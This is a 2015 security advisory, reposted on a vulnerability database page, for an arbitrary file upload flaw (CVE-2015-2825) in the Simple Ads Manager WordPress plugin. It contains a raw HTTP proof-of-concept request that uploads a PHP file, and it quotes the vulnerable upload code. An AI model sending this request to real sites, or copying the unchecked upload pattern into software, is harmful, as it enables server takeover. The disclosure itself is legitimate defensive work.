Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32056
HistoryMay 11, 2015 - 12:00 a.m.

Wordpress plugin Simple Ads Manager - Arbitrary File Upload

2015-05-1100:00:00
vulners.com
12

#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File
Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien ([email protected]) & ITAS Team

::PROOF OF CONCEPT::

  • REQUEST
    POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
    Host: targer.com
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
    Content-Type: multipart/form-data;
    boundary=---------------------------108989518220095255551617421026
    Content-Length: 683

-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="action"

upload_ad_image
-----------------------------108989518220095255551617421026-

  • Vulnerable file: simple-ads-manager/sam-ajax-admin.php

  • Vulnerable code: from line 303 to 314

    case 'sam_ajax_upload_ad_image':
    if(isset($_POST['path'])) {
    $uploadDir = $_POST['path'];
    $file = $uploadDir . basename($_FILES['uploadfile']['name']);

      if &#40; move_uploaded_file&#40; $_FILES[&#39;uploadfile&#39;][&#39;tmp_name&#39;], $file &#41;&#41;
    

{
$out = array('status' => "success");
} else {
$out = array('status' => "error");
}
}
break;

  • REFERENCE:

http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilitie
s-in-Hakin9-IT-Security-Magazine-78.html?language=en

Best regard

ITAS Team (www.itas.vn)

Related for SECURITYVULNS:DOC:32056